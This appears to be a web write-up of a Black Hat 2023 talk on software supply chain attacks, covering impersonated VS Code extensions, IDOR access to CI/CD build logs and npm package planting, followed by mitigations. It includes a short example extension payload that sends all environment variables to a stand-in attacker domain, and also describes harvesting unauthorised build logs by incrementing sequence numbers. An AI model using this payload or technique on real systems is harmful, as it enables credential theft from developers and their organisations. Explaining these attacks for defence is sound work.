Breaking the Chain: An Attacker's Perspective on the Supply Chain
This talk demonstrates multiple supply chain attack vectors targeting the software development lifecycle, including malicious VS Code extensions, repository hijacking (repojacking), and package planting in package registries. The researchers analyze how these techniques can lead to remote code execution and credential theft by exploiting trust in developer tools and platforms like npm and GitHub. The presentation highlights the critical need for security at every stage of the development pipeline and provides actionable mitigations for developers and organizations. The talk includes demonstrations of automated scanning techniques to identify these vulnerabilities.
Your IDE Extensions and CI/CD Pipelines Are Leaking Your Secrets
TLDR: Modern supply chain attacks have moved beyond simple typosquatting to exploit the trust developers place in their IDE extensions and CI/CD configurations. By impersonating popular VS Code extensions and exploiting IDOR vulnerabilities in CI/CD logs, attackers can achieve remote code execution and harvest sensitive credentials at scale. Security teams must treat developer tooling as a primary attack surface and implement strict validation for all third-party integrations.
Developers spend their entire day inside an IDE, often installing dozens of extensions to streamline their workflow. We treat these tools as benign utilities, but they are essentially arbitrary code execution engines running with the same privileges as the user. If you are a researcher or a pentester, you already know that the supply chain is the path of least resistance. Why spend weeks trying to bypass a hardened WAF when you can compromise a developer’s machine by tricking them into installing a malicious VS Code extension?
The IDE as an Attack Vector
Visual Studio Code extensions are not just plugins; they are full-featured applications that run on the developer's local machine. They have access to the filesystem, environment variables, and, crucially, the SSH keys and cloud credentials stored in the user's home directory.
The research presented at Black Hat 2023 highlights how trivial it is to impersonate a popular extension. Because the VS Code Marketplace allows publishers to define a display name that does not have to be unique, an attacker can simply register a new extension with a name like "Prettier" (using a homoglyph or a slight variation) and mirror the metadata of the legitimate project.
Once a developer installs the malicious extension, the attacker can execute arbitrary code. A simple payload in the extension's activate function is enough to exfiltrate environment variables to an attacker-controlled server.
// Simplified example of a malicious extension payload
function activate(context) {
const env = process.env;
const data = JSON.stringify(env);
// Exfiltrate environment variables to attacker server
fetch('https://attacker-controlled-domain.com/log', {
method: 'POST',
body: data
});
}
This is not a theoretical risk. During the research, the team successfully published an "impersonating" extension that was installed by over 1,000 developers in just 48 hours. The barrier to entry is non-existent, and the potential for lateral movement into an organization's production environment is massive.
Exploiting CI/CD Logs via IDOR
Beyond the local machine, the CI/CD pipeline is a goldmine for credentials. Many organizations use services like Travis CI to automate their builds. The researchers discovered that the API endpoints used to fetch build logs were vulnerable to Insecure Direct Object Reference (IDOR) attacks.
By simply incrementing a sequence number in the API request, an attacker could access logs from builds they were never authorized to see. These logs often contain sensitive information, including AWS access keys, Docker Hub credentials, and internal API tokens that were accidentally printed during the build process.
The impact of this is immediate. With a valid AWS key, an attacker can pivot from a public CI/CD log to the target's cloud infrastructure. The researchers found over 770 million available logs, proving that this is a systemic issue rather than an isolated bug. While some providers have since mitigated this by deleting logs or restricting access, the fundamental problem remains: CI/CD logs are often treated as public or semi-public data, despite containing highly sensitive secrets.
The Reality of Package Planting
Package registries like npm are another critical junction. The researchers identified a technique called "package planting," where an attacker adds themselves as a maintainer to a legitimate, popular package. By exploiting the lack of a confirmation mechanism in older registry configurations, an attacker could gain control over a package without the original author's explicit consent.
This allows for the distribution of malicious code through a trusted, legitimate package name. If you are auditing a target, check the maintainer list of their dependencies. If you see an unknown or suspicious account with "write" access, you have found a potential entry point.
Securing the Pipeline
Defending against these attacks requires a "shift-left" mindset that goes beyond scanning for vulnerabilities in your own code. You must treat your development environment as a high-risk zone.
- Audit your IDE extensions: Review the permissions of every extension installed in your team's VS Code environment. If an extension doesn't need network access, block it.
- Rotate secrets aggressively: Assume that any secret used in a CI/CD pipeline has been leaked. Use tools like Trivy to scan your container images and build environments for exposed secrets.
- Use dependency analysis tools: Services like Deps.dev provide security insights into open-source packages. Use them to verify the health and maintainer history of your dependencies before adding them to your project.
- Implement placeholder packages: To prevent package planting, consider registering your own organization's package names as placeholders on public registries, even if you don't intend to use them publicly. This prevents attackers from squatting on your namespace.
The supply chain is not just about the code you write; it is about the entire ecosystem of tools and services you rely on to build that code. As attackers continue to focus on these soft targets, your best defense is to assume that your tooling is already compromised and to build your security architecture accordingly. Stop trusting your dependencies and start verifying them.
Vulnerability Classes
OWASP Categories
All Tags
Up Next From This Conference

A New Attack Interface In Java Applications

Inference Attacks on Endpoint Privacy Zones in Fitness Tracking Social Networks

Abusing Azure Active Directory: From MFA Bypass to Listing Global Administrators
Similar Talks

Kill List: Hacking an Assassination Site on the Dark Web

Firewalls Under Fire: China's Ongoing Campaign to Compromise Network Protection Devices

